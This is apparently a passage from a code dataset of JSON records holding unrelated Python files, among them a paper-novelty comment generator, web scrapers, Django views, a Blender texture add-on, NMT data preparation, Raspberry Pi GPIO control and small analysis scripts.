new_t\n\n\npath = 'data/ORIGINALITY/test.json'\npath_f = 'Novelty.txt'\nwf = open(path_f, 'w')\ncount_ = 0\nidds = []\nwith open(path, 'r') as f:\n for line in tqdm(f):\n data = json.loads(line)\n diff_c, diff_rel, txts_list, c2t, c2num, r2num = data['src']\n score = data['score']\n if len(diff_c) == 0 and len(diff_rel) != 0:\n continue \n output = []\n pid = data['pid']\n output.append('id: ' + pid + ' '+ data['title'] + '\\n')\n output.append('score: ' + str(data['score']) + '\\n')\n real_name = {}\n pair_used_for = defaultdict(set)\n compare = defaultdict(set)\n features = defaultdict(set)\n pair_e = defaultdict(set)\n output.append('Strengths:\\n')\n flag = True\n for h, t, r in diff_rel:\n if r == \"USED-FOR\":\n try:\n if c2t[t] in [\"Method\", \"Material\", \"Metric\"] and c2t[h] == 'Task':\n pair_used_for[h].add(t)\n except:\n pair_used_for[h].add(t)\n\n elif r == 'COMPARE':\n if h != t:\n if h in compare:\n compare[h].add(t)\n else:\n compare[t].add(h)\n elif r == 'FEATURE-OF':\n if h != t:\n features[t].add(h)\n elif r == \"EVALUATE-FOR\":\n try:\n if c2t[t] == \"Method\" and c2t[h] in [\"Material\", \"Metric\"]:\n pair_e[t].add(h)\n except:\n pass\n sorted_relation = []\n r = \"USED-FOR\"\n for h, ts in pair_used_for.items():\n pair = (h, ts)\n score = 0\n for t in ts:\n rel = str((h, t, r))\n score += r2num[rel] \n sorted_relation.append((get_repre(pair), score))\n sorted_relation.sort(key=lambda x: x[1], reverse=True)\n for pair, count in sorted_relation:\n if score > 3:\n output.append('\\tThis paper uses novel %s for %s . \\n' % pair)\n else:\n output.append('\\tThis paper uses %s for %s . \\n' % pair)\n # output.append('\\tTerm Frequency:'+ str(count) + '\\n\\n')\n flag = False\n \n if flag:\n sorted_relation = []\n r = \"COMPARE\"\n for h, ts in compare.items():\n pair = (h, ts)\n score = 0\n for t in ts:\n rel = str((h, t, r))\n if rel not in r2num:\n rel = str((t, h, r))\n score += r2num[rel] \n sorted_relation.append((get_repre(pair), score))\n sorted_relation.sort(key=lambda x: x[1], reverse=True)\n for pair, count in sorted_relation:\n output.append('\\tThe paper compare %s with %s . \\n' % pair)\n # output.append('\\tTerm Frequency:'+ str(count) + '\\n\\n')\n flag = False\n\n if flag:\n sorted_relation = []\n r = 'FEATURE-OF'\n for h, ts in features.items():\n pair = (h, ts)\n score = 0\n for t in ts:\n rel = str((t, h, r))\n score += r2num[rel] \n sorted_relation.append((get_repre_r(pair), score))\n sorted_relation.sort(key=lambda x: x[1], reverse=True)\n for pair, count in sorted_relation:\n output.append('\\tThe paper uses %s for %s . \\n' % pair)\n # output.append('\\tTerm Frequency:'+ str(count) + '\\n\\n')\n flag = False\n\n if flag:\n sorted_relation = []\n r = \"EVALUATE-FOR\"\n new_entities = []\n for h, ts in pair_e.items():\n pair = (h, ts)\n score = 0\n new_entities.append(h)\n for t in ts:\n rel = str((t, h, r))\n score += r2num[rel] \n sorted_relation.append((pair, score))\n sorted_relation.sort(key=lambda x: x[1], reverse=True)\n if len(new_entities) > 0:\n output.append('\\tThis paper proposes a new %s. \\n' % get_whole(new_entities))\n\n for pair, count in sorted_relation:\n output.append('\\tThe authors then evaluate %s using %s. \\n' % get_repre(pair))\n # output.append('\\tTerm Frequency:'+ str(count) + '\\n\\n')\n flag = False\n if flag:\n metric = []\n method = []\n task = []\n material = []\n other = []\n for e in diff_c:\n if e not in c2t:\n other.append(e)\n elif c2t[e] == \"Method\":\n method.append(e)\n elif c2t[e] == \"Material\":\n material.append(e)\n elif c2t[e] == \"Metric\":\n metric.append(e)\n elif c2t[e] == 'Task':\n task.append(e)\n else:\n other.append(e)\n method = sorted(method, key=lambda i: c2num[i], reverse=True)\n task = sorted(task, key=lambda i: c2num[i], reverse=True)\n material = sorted(material, key=lambda i: c2num[i], reverse=True)\n o = sorted(other, key=lambda i: c2num[i], reverse=True)\n if score > 3:\n if len(method[:5]) > 0:\n output.append('\\tThe paper proposes novel %s' % get_whole(method[:2] ))\n\n if len(task) > 0:\n output.append(' for %s.\\n' % task[0])\n else:\n output.append('.\\n')\n # output.append('\\tTerm Frequency:')\n for m in method[:5]:\n output.append(str(c2num[m])+ ' ')\n for m in task[:5]:\n output.append(str(c2num[m])+ ' ')\n output.append('\\n\\n')\n flag = False\n elif len(other) > 0:\n output.append('\\tThe paper proposes novel%s' % get_whole(other[:2]))\n\n if len(task) > 0:\n output.append(' for %s.\\n' % task[0])\n else:\n output.append('.\\n')\n # output.append('\\tTerm Frequency:')\n # for m in other[:2]:\n # output.append(str(c2num[m])+ ' ')\n # for m in task[:1]:\n # output.append(str(c2num[m])+ ' ')\n # output.append('\\n\\n')\n flag = False\n else:\n flag = True\n else:\n if len(method[:5]) > 0:\n output.append('\\tThe paper uses %s' % get_whole(method[:5] ))\n\n if len(task) > 0:\n output.append(' for %s.\\n' % task[0])\n else:\n output.append('.\\n')\n # output.append('\\tTerm Frequency:')\n # for m in method[:2]:\n # output.append(str(c2num[m])+ ' ')\n # for m in task[:1]:\n # output.append(str(c2num[m])+ ' ')\n # output.append('\\n\\n')\n flag = False\n elif len(other) > 0:\n output.append('\\tThe paper proposes novel%s' % get_whole(other[:2]))\n\n if len(task) > 0:\n output.append(' for %s.\\n' % task[0])\n else:\n output.append('.\\n')\n # output.append('\\tTerm Frequency:')\n # for m in other[:2]:\n # output.append(str(c2num[m])+ ' ')\n # for m in task[:1]:\n # output.append(str(c2num[m])+ ' ')\n # output.append('\\n\\n')\n flag = False\n else:\n flag = True\n if flag:\n if len(task) > 0:\n output.append('\\tThe paper proposes novel %s .\\n' % get_whole(task[:2]))\n # output.append('\\tTerm Frequency:')\n # for m in task[:2]:\n # output.append(str(c2num[m])+ ' ')\n # output.append('\\n\\n')\n else:\n continue\n \n output.append('\\n')\n output.append('Reference:\\n')\n for txt in data['tgt']:\n output.append(txt + '\\n')\n output.append('\\n\\n\\n')\n idds.append(pid)\n wf.writelines(output)\n count_ += 1\n if count_ %5 == 0:\n wf.write('-'*100)\n wf.write('\\n\\n')\n print(idds)\n idds = [] \nwf.close()","sub_path":"Comment Generation/novelty.py","file_name":"novelty.py","file_ext":"py","file_size_in_byte":9878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"201547748","text":"import bs4\nimport requests\n\nurl = 'https://jadwalsholat.pkpu.or.id/?id=266' # url tempat melakukan scraping\ncontents = requests.get(url)\n# print(contents.text)\nresponse = bs4.BeautifulSoup(contents.text, \"html.parser\")\n# bs4 = package, beautifulsoup = class, contents.text = suply contenst yg berisi request yg mengambil url dari web\ndata = response.find_all('tr','table_highlight')\ndata = data[0] # untuk menghilangkan kurung kurawal, agar data di mulai dari data ke 0\n\nsholat = {} # inisialisasi bahwa sholat merupakan dictionary, yg memiliki nama variabel yang memiliki\n # attribute jam sholatnya\ni = 0\nfor d in data:\n if i == 1: # kenapa di deklarasikan data ke 1, karena data ke 0 = tanggalnya\n sholat['shubuh'] = d.get_text()\n elif i == 2:\n sholat['dhuhur'] = d.get_text()\n elif i == 3:\n sholat['ashar'] = d.get_text()\n elif i == 4:\n sholat['maghrib'] = d.get_text()\n elif i == 5:\n sholat['isya'] = d.get_text()\n i += 1\nprint(sholat)\nprint(sholat['ashar'])","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"537435134","text":"# coding=utf-8\n# Copyright 2020 The Google Research Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# Lint as: python3\n\"\"\"Tests for flax modules.\"\"\"\n\nimport functools\nfrom absl.testing import parameterized\nimport tensorflow.compat.v1 as tf\nfrom protein_lm import domains\nfrom protein_lm import models\nfrom protein_lm import modules\n\nlm_cls = functools.partial(\n models.FlaxLM,\n num_layers=1,\n num_heads=1,\n emb_dim=64,\n mlp_dim=64,\n qkv_dim=64)\n\n\nclass ModulesTest(tf.test.TestCase, parameterized.TestCase):\n\n @parameterized.parameters(\n (modules.AddLearnedPositionalEncodings,),\n (modules.AddSinusoidalPositionalEncodings,))\n def test_positional_encodings(self, positional_encoding_module):\n \"\"\"Tests that the model runs with both types of positional encodings.\"\"\"\n domain = domains.FixedLengthDiscreteDomain(vocab_size=2, length=2)\n lm = lm_cls(domain=domain,\n positional_encoding_module=positional_encoding_module)\n lm.sample(1)\n\n\nif __name__ == '__main__':\n tf.test.main()\n","sub_path":"protein_lm/modules_test.py","file_name":"modules_test.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"313630562","text":"from django.contrib.auth.decorators import login_required\nfrom django.http import Http404\nfrom django.shortcuts import render, redirect\nfrom django.template.defaultfilters import slugify\nfrom .forms import DashboardForm\nfrom .models import Dashboard\nfrom .forms import ContactForm\nfrom django.template.loader import get_template\nfrom django.core.mail import EmailMessage, send_mail\nfrom django.template import Context\n\n\n# Create your views here.\n\ndef index(request):\n\n\tdashboards = Dashboard.objects.all()\n\n\treturn render(request, 'collection/index.html', {\n\t\t'dashboards' : dashboards,\n\t\t })\n\ndef dashboard_detail(request, slug):\n\tdashboard = Dashboard.objects.get(slug=slug)\n\n\treturn render(request, 'collection/dashboard_detail.html', {\n\t\t'dashboard' : dashboard,\n\t\t})\n\n@login_required\ndef edit_dashboard(request, slug):\n\tdashboard = Dashboard.objects.get(slug=slug)\n\tif dashboard.user != request.user:\n\t\traise Http404\n\t\t\n\tform_class = DashboardForm\n\n\tif request.method == 'POST':\n\t\tform = form_class(data=request.POST, instance=dashboard)\n\t\tif form.is_valid():\n\t\t\tform.save()\n\t\t\treturn redirect('dashboard_detail', slug=dashboard.slug)\n\telse:\n\t\tform = form_class(instance=dashboard)\n\n\treturn render(request, 'collection/edit_dashboard.html', {\n\t\t'dashboard' : dashboard,\n\t\t'form' : form,\n\t\t})\n\n\ndef create_dashboard(request):\n\tform_class = DashboardForm\n\n\tif request.method == 'POST':\n\t\tform = form_class(request.POST)\n\t\tif form.is_valid():\n\t\t\tdashboard = form.save(commit=False)\n\t\t\tdashboard.user = request.user\n\t\t\tdashboard.slug = slugify(dashboard.name)\n\n\t\t\tdashboard.save()\n\n\t\t\treturn redirect('dashboard_detail', slug=dashboard.slug)\n\n\n\telse:\n\t\tform = form_class()\n\n\treturn render(request, 'collection/create_dashboard.html', {\n\t\t'form': form,\n\t\t})\n\ndef browse_by_name(request, initial=None):\n\tif initial:\n\t\tdashboards = Dashboard.objects.filter(name__istartswith=initial)\n\t\tdashboards = dashboards.order_by('name')\n\n\telse:\n\t\tdashboards = Dashboard.objects.all().order_by('name')\n\n\treturn render(request, 'collection/search.html', {\n\t\t'dashboards' : dashboards,\n\t\t'initial' : initial,\n\n\n\t\t})\n\n\n#Contact form:\n\ndef contact(request):\n\tform_class = ContactForm\n\n\tif request.method == 'POST':\n\t\tform = form_class(data=request.POST)\n\n\t\tif form.is_valid():\n\t\t\tcontact_name = form.cleaned_data['contact_name']\n\t\t\tcontact_email = form.cleaned_data['contact_email']\n\t\t\tform_content = form.cleaned_data['content']\n\n\t\t\ttemplate = get_template('contact_template.txt')\n\n\t\t\tcontext = Context({\n\t\t\t\t'contact_name' : contact_name,\n\t\t\t\t'contact_email' : contact_email,\n\t\t\t\t'form_content' : form_content,\n\t\t\t})\n\t\t\tcontent = template.render(context)\n\n\t\t\temail = EmailMessage(\n\t\t\t\t'New contact form submission', \n\t\t\t\tcontent, \n\t\t\t\t'Your website ',\n\t\t\t\t['danilopfe@gmail.com'],\n\t\t\t\theaders = {'Reply-To' : contact_email }\n\t\t\t)\n\t\t\temail.send()\n\t\t\treturn redirect('contact')\n\n\treturn render(request, 'collection/contact.html', {\n\t\t'form' : form_class,\n\n\t})\n\n\n","sub_path":"collection/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"570933801","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef logistic_loss(x):\n\n return np.log(1 + np.exp(1 - x))\n\n\ndef hinge_loss(x):\n\n tmp = 1 - x\n\n tmp[np.where(tmp <= 0)] = 0\n\n return tmp\n\n\ndef squared_hinge_loss(x):\n\n tmp = 1 - x\n\n tmp[np.where(tmp <= 0)] = 0\n\n return np.square(tmp)\n\n\nx = np.arange(-4, 4, 0.001)\n\nplt.plot(x, logistic_loss(x), 'r')\nplt.plot(x, hinge_loss(x), 'g')\nplt.plot(x, squared_hinge_loss(x), 'b')\nplt.legend([\"logistic loss\", \"hinge loss\", \"squared hinge loss\"])\nplt.title(\"Loss function\")\nplt.show()\n","sub_path":"machine_learning/loss_function_plot.py","file_name":"loss_function_plot.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"108592616","text":"# MIT License\r\n\r\n# Copyright (c) 2018 shotariya\r\n\r\n# Permission is hereby granted, free of charge, to any person obtaining a copy\r\n# of this software and associated documentation files (the \"Software\"), to deal\r\n# in the Software without restriction, including without limitation the rights\r\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\r\n# copies of the Software, and to permit persons to whom the Software is\r\n# furnished to do so, subject to the following conditions:\r\n\r\n# The above copyright notice and this permission notice shall be included in all\r\n# copies or substantial portions of the Software.\r\n\r\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\n# SOFTWARE.\r\n\r\n\r\nimport bpy\r\nimport time\r\nimport math\r\nimport os\r\nfrom PIL import Image\r\n\r\n\r\nclass GenTex(bpy.types.Operator):\r\n bl_idname = 'shotariya.gen_tex'\r\n bl_label = 'Save Textures by UVs'\r\n bl_description = ''\r\n bl_options = {'REGISTER', 'UNDO', 'INTERNAL'}\r\n\r\n def execute(self, context):\r\n start_time = time.time()\r\n scn = context.scene\r\n save_path = scn.tex_path\r\n if not save_path:\r\n self.report({'ERROR'}, 'Please select Folder for Combined Texture')\r\n return {'FINISHED'}\r\n bpy.ops.shotariya.uv_fixer()\r\n work = []\r\n for obj in context.scene.objects:\r\n if obj.type == 'MESH':\r\n if not obj.data.uv_layers.active:\r\n continue\r\n mat_len = len(obj.material_slots)\r\n mat_info = [[] for x in range(mat_len)]\r\n tex_info = [[] for x in range(mat_len)]\r\n for face in obj.data.polygons:\r\n face_coords = [obj.data.uv_layers.active.data[loop_idx].uv for loop_idx in face.loop_indices]\r\n mat_info[face.material_index].append(face_coords)\r\n for mat, faces in enumerate(mat_info):\r\n x_list = [math.ceil(poly.x) for face in faces for poly in face if not math.isnan(poly.x)]\r\n y_list = [math.ceil(poly.y) for face in faces for poly in face if not math.isnan(poly.y)]\r\n tex_info[mat] = [max(x_list), max(y_list)]\r\n for index in range(mat_len):\r\n mat = obj.material_slots[index].material\r\n tex_slot = mat.texture_slots[0]\r\n if tex_slot:\r\n if (tex_info[index][0] > 1) or (tex_info[index][1] > 1):\r\n tex = tex_slot.texture\r\n if tex:\r\n if tex.to_save:\r\n tex_info[index].append(bpy.path.abspath(tex.image.filepath))\r\n tex_info[index].append(mat)\r\n if len([True for info in tex_info if len(info) > 2]) != 0:\r\n work.append(True)\r\n for info in tex_info:\r\n if len(info) > 3:\r\n img_name = info[2].split(os.sep)[-1].split('.')[0]\r\n img = Image.open(info[2])\r\n w, h = img.size\r\n if info[0] == 0:\r\n info[0] = 1\r\n if info[1] == 0:\r\n info[1] = 1\r\n if info[0] > 64:\r\n info[0] = 1\r\n if info[1] > 64:\r\n info[1] = 1\r\n result = Image.new('RGBA', (w * info[0], h * info[1]))\r\n for i in range(info[0]):\r\n for j in range(info[1]):\r\n x = i * w\r\n y = j * h\r\n result.paste(img, (x, y, x + w, y + h))\r\n result.save('{}{}{}_uv.png'.format(save_path, os.sep, img_name), 'PNG')\r\n mat = info[3]\r\n mat_index = 0\r\n for index in range(mat_len):\r\n if obj.material_slots[index].material == mat:\r\n mat_index = index\r\n tex_slot = mat.texture_slots[0]\r\n tex = tex_slot.texture\r\n tex.image = bpy.data.images.load('{}{}{}_uv.png'.format(save_path, os.sep, img_name))\r\n for face in obj.data.polygons:\r\n if face.material_index == mat_index:\r\n face_coords = [obj.data.uv_layers.active.data[loop_idx].uv for loop_idx in\r\n face.loop_indices]\r\n for z in face_coords:\r\n z.x = z.x / info[0]\r\n z.y = z.y / info[1]\r\n if not work:\r\n self.report({'ERROR'}, 'All Selected texture UVs bounds are 0-1')\r\n return {'FINISHED'}\r\n bpy.ops.shotariya.list_actions(action='GENERATE_MAT')\r\n bpy.ops.shotariya.list_actions(action='GENERATE_TEX')\r\n print('{} seconds passed'.format(time.time() - start_time))\r\n self.report({'INFO'}, 'Textures were created.')\r\n return{'FINISHED'}\r\n","sub_path":"gen_tex.py","file_name":"gen_tex.py","file_ext":"py","file_size_in_byte":5684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"300736311","text":"import numpy as np\n\nclass PrepareData:\n\n def __init__(self):\n pass\n\n def read_files(self, path, num_samples):\n input_texts = []\n target_texts = []\n input_words = set([])\n target_words = set([])\n\n with open(path, 'r', encoding='utf-8') as file:\n lines = file.readlines()\n for line in lines[: min(num_samples, len(lines) -1)]:\n input_text, target_text = line.split(\"\\t\")[:2]\n target_text = '\\t' + target_text + '\\n'\n input_texts.append(input_text)\n target_texts.append(target_text)\n\n for word in input_text.split(\" \"):\n if word not in input_words:\n input_words.add(word)\n for word in target_text.split(\" \"):\n if word not in target_words:\n target_words.add(word)\n\n return input_texts, target_texts, input_words, target_words\n\n def vocab_generation(self, path, num_samples):\n\n input_texts, target_texts, input_words, target_words = self.read_files(path, num_samples)\n input_words = sorted(list(input_words))\n target_words = sorted(list(target_words))\n self.num_encoder_words = len(input_words)\n self.num_decoder_words = len(target_words)\n self.max_encoder_seq_length = max([len(text.split(\" \")) for text in input_texts])\n self.max_decoder_seq_length = max([len(text.split(\" \")) for text in target_texts])\n\n self.input_word_index = dict([(word ,i) for i, word in enumerate(input_words)])\n self.target_word_index = dict([(word ,i) for i, word in enumerate(target_words)])\n self.reverse_input_word_dict = dict((i,word) for word, i in self.input_word_index.items())\n self.reverse_target_word_dict = dict((i,word) for word, i in self.target_word_index.items())\n\n def process_inputs(self, input_texts, target_texts=None):\n encoder_input_data = np.zeros((len(input_texts), self.max_encoder_seq_length, self.num_encoder_words), dtype='float32')\n decoder_input_data = np.zeros((len(input_texts), self.max_decoder_seq_length, self.num_decoder_words), dtype='float32')\n decoder_target_data = np.zeros((len(input_texts), self.max_decoder_seq_length, self.num_decoder_words), dtype='float32')\n\n if self.mode == 'train':\n for i,(input_text, target_text) in enumerate(zip(input_texts, target_texts)):\n for t, word in enumerate(input_text.split(\" \")):\n try:\n encoder_input_data[i, t, self.input_word_index[word]] = 1.\n except:\n print(f'word {word} encountered for the 1st time, skipped')\n for t, word in enumerate(target_text.split(\" \")):\n decoder_input_data[i, t, self.target_word_index[word]] = 1.\n if t > 0:\n try:\n decoder_target_data[i,t-1, self.target_word_index[word]] = 1.\n except:\n print(f'word {word} encountered for the 1st time, skipped')\n return encoder_input_data, decoder_input_data, decoder_target_data, np.array(input_texts), np.array(target_texts)\n else:\n for i, input_text in enumerate(input_texts):\n for t, word in enumerate(input_text.split(\" \")):\n try:\n encoder_input_data[i, t, self.input_word_index[word]] = 1.\n except:\n print(f'word {word} encountered for the 1st time, skipped')\n\n return encoder_input_data, None, None, np.array(input_texts), None\n\n\n\n\n\n\nif __name__ == \"__main__\":\n prepare_data = PrepareData()\n input_words, target_words = prepare_data.read_files('./fra.txt',10e13)\n print(input_words)\n print(target_words)\n\n","sub_path":"NMT_data_preperation.py","file_name":"NMT_data_preperation.py","file_ext":"py","file_size_in_byte":3862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"448148367","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nfrom natasha import NamesExtractor\r\nimport matplotlib.pyplot as plt\r\n\r\ndata = []\r\ntitles = []\r\ndic = {}\r\n\r\nextractor = NamesExtractor()\r\nr = requests.get('https://yandex.ru/news/export')\r\nhtml = BeautifulSoup(r.content, \"html.parser\")\r\ndata = html.find_all('a', class_=\"link link_theme_normal i-bem\")\r\nfor i in range(len(data)):\r\n data[i] = str(data[i])\r\n index1 = data[i].find(\"href\", 0, len(data[i]))\r\n index2 = data[i].find(\"rss\", 0, len(data[i]))\r\n r = requests.get(data[i][index1 + 6:index2 + 3])\r\n data[i] = BeautifulSoup(r.content, \"html.parser\")\r\n data[i] = str(data[i].findAll('title'))\r\n titles.append(extractor(data[i]))\r\n for match in titles[i]:\r\n start, stop = match.span\r\n if (dic.get(data[i][start:stop], -1) == -1):\r\n dic[data[i][start:stop]] = 1\r\n else:\r\n dic[data[i][start:stop]] += 1\r\ngis = plt.subplot()\r\ngis.bar(dic.keys(), dic.values())\r\nplt.show()\r\n","sub_path":"news_collection.py","file_name":"news_collection.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"420870279","text":"#!/usr/bin/python3\n\nimport pigpio # using this for hardware PWM, software is not stable!!!\nimport signal\nimport time\nimport math\nimport signal\nimport RPi.GPIO as GPIO # using RPi.GPIO for non-PWM\nimport random\n\n# GPIO pin numbers\nSTR = 17\nDATA = 27\nCLK = 22\nPWM_PIN = 12\nPWM_FREQ = 400 # frequency of PWM\nCHANNELS = 32; # number of output channels\nFPS = 30; # main refresh rate = frames per second\ncounter = 0\nvalue = 0b11111111111111111111111111111111 # testing purposes\n\n\nPWM = pigpio.pi()\nif not PWM.connected:\n\texit()\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(STR, GPIO.OUT, initial=GPIO.LOW) # make pin into an output\nGPIO.setup(DATA, GPIO.OUT, initial=GPIO.LOW) # make pin into an output\nGPIO.setup(CLK, GPIO.OUT, initial=GPIO.LOW) # make pin into an output\n\ndef regClear():\n\tGPIO.output(DATA, 0)\n\tfor i in range(CHANNELS):\n\t\tGPIO.output(CLK, 0)\n\t\tGPIO.output(CLK, 1)\n\tGPIO.output(CLK, 0)\n\tGPIO.output(STR, 1)\n\tGPIO.output(STR, 0)\n\ndef regOutput(value):\n\tfor i in range(CHANNELS):\n\t\tGPIO.output(CLK, 0)\n\t\tGPIO.output(DATA, value >> (CHANNELS - i - 1) & 1)\n\t\tGPIO.output(CLK, 1)\n\tGPIO.output(CLK, 0)\n\tGPIO.output(STR, 1)\n\tGPIO.output(STR, 0)\n\tGPIO.output(DATA, 0)\n\ndef keyboardInterruptHandler(signal, frame):\n\tprint()\n\tprint(\"KeyboardInterrupt (ID: {}) has been caught. Cleaning up...\".format(signal))\n\tregClear()\n\tGPIO.cleanup()\n\tPWM.hardware_PWM(PWM_PIN, PWM_FREQ, 0)\n\tPWM.stop()\n\texit(0)\n\ndef main():\n\n\tprint(\"Ctrl C to quit\")\n\n\tglobal counter\n\tglobal value\n\n\tregClear()\n\n\twhile True:\n\n\t\tregOutput( 1 << (counter % 32) )\n\n\t\tif (counter % 300 == 150):\n\t\t\tPWM.hardware_PWM(PWM_PIN, PWM_FREQ, 1000000 )\n\t\telif (counter % 300 == 0):\n\t\t\tPWM.hardware_PWM(PWM_PIN, PWM_FREQ, 100000 )\n\n\t\tcounter += 1\n\t\ttime.sleep(1)\n\nsignal.signal(signal.SIGINT, keyboardInterruptHandler)\n\nmain()","sub_path":"Python/sequence.py","file_name":"sequence.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"360792806","text":"# Modules\nimport os\nimport csv\n\n#Set up path for file\ncsvpath=os.path.join(\"..\", \"Resources\", \"budget_data.csv\" )\n#print(csvpath)\n\ntotal_months=0\ntotal_profit=0\nprevious_value=0\ncurrent_value=0\nlist_changes=[]\nlist_dates=[]\n\nprint(\"Financial Analysis\")\nprint(\"---------------------\")\n\n#Open the csv file\nwith open(csvpath, newline='') as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',')\n#print(csvreader)\n\n#Read the header row\n csv_header=next(csvreader)\n#print(f\"CSV Header: {csv_header}\")\n\n#Read each row of data after the header\n for row in csvreader:\n\n #Determine total number of months\n total_months=total_months+1\n #current_value=(row[0])\n\n #Determine total profit over entire period\n total_profit=total_profit+int(row[1])\n current_value=int(row[1])\n\n # Calculate the average of the changes in Profit/Lossess over the entire period, first calculate change\n monthly_diff=current_value-previous_value\n \n #Store changes in list\n list_changes.append(monthly_diff)\n \n #Store dates in list\n list_dates.append(row[0])\n \n previous_value=current_value\n #avg_monthly_diff=sum[list_changes]\n\ndel list_changes[0]\ndel list_dates[0]\n#print(list_changes)\n#print(list_dates)\n\n# Calculate the average of the changes in Profit/Lossess over the entire period\naverage = sum(list_changes) / len(list_changes)\n\n# Determine the greatest increase in profits (date and amount) over the entire period\nmaximum=list_changes.index(max(list_changes))\n\n# Determine the greatest decrease in losses (datea and amount) ove the entire period\nminimum=list_changes.index(min(list_changes))\n\nprint(\"Total Months: \" + str(total_months))\nprint(\"Total: $\"+str(total_profit))\nprint(\"Average Change: $\" +str(round(average, 2)))\nprint(\"Greatest Increase in Profits: \" + str(list_dates[maximum]) +\" \"+str(list_changes[maximum]))\nprint(\"Greatest Decrease in Profits: \" + str(list_dates[minimum]) +\" \"+ str(list_changes[minimum]))\n#print(list_changes)\n\n#print(row)","sub_path":"PyBank/Homework/main_1.py","file_name":"main_1.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"74518575","text":"# coding=utf-8\r\n\r\n\"\"\"\r\n309. Best Time to Buy and Sell Stock with Cooldown My Submissions QuestionEditorial Solution\r\nTotal Accepted: 13833 Total Submissions: 37785 Difficulty: Medium\r\nSay you have an array for which the ith element is the price of a given stock on day i.\r\n\r\nDesign an algorithm to find the maximum profit. You may complete as many transactions as you like (ie, buy one and sell one share of the stock multiple times) with the following restrictions:\r\n\r\nYou may not engage in multiple transactions at the same time (ie, you must sell the stock before you buy again).\r\nAfter you sell your stock, you cannot buy stock on next day. (ie, cooldown 1 day)\r\nExample:\r\n\r\nprices = [1, 2, 3, 0, 2]\r\nmaxProfit = 3\r\ntransactions = [buy, sell, cooldown, buy, sell]\r\nhttps://discuss.leetcode.com/topic/31349/7-line-java-only-consider-sell-and-cooldown\r\n\"\"\"\r\n\r\n\r\nclass Solution(object):\r\n def maxProfit(self, prices):\r\n \"\"\"\r\n :type prices: List[int]\r\n :rtype: int\r\n \"\"\"\r\n if prices is None or len(prices) <= 1:\r\n return 0\r\n if len(prices) == 2:\r\n return max(prices[1] - prices[0], 0)\r\n profit1 = 0\r\n profit2 = 0\r\n for i in range(1, len(prices)):\r\n copy = profit1\r\n profit1 = max(profit1 + prices[i] - prices[i - 1], profit2)\r\n profit2 = max(copy, profit2)\r\n\r\n return max(profit1, profit2)\r\n\r\n\r\nif __name__ == '__main__':\r\n print ((Solution().maxProfit([1, 2, 3, 0, 2, 4])))\r\n","sub_path":"zishell/solution/medium/solution309_maxProfit.py","file_name":"solution309_maxProfit.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"347635577","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*\nfrom os.path import basename\nfrom unittest import main, TestCase\nfrom assert_is import *\nfrom pgvcsddl import ddl, parent_path\n\n\nclass Test(TestCase):\n def test(self):\n path=\"SCHEMA/public/TABLE/tablename\"\n oid=88\n sql=\"sql\"\n _ddl=ddl(path=path,oid=oid,sql=sql)\n eq_(_ddl.files[\"%s.oid\" % path],oid)\n eq_(_ddl.files[\"%s.sql\" % path],sql)\n refs=[parent_path(path)]\n eq_(_ddl.files[\"%s.references\" % path],\"\\n\".join(refs))\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"tests/ddl/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"176660686","text":"__author__ = \"Poonam Yadav\"\n__copyright__ = \"Copyright 2017, The Databox Project\"\n__credits__ = [\"Databox team\"]\n__license__ = \"GPL\"\n__version__ = \"0.0.1\"\n__maintainer__ = \"Poonam Yadav\"\n__email__ = \"p.yadav@acm.org\"\n__status__ = \"Development\"\n\n#This code is setup for testing python library outside databox. Inside Databox, STORE_URI Will be extrated from env 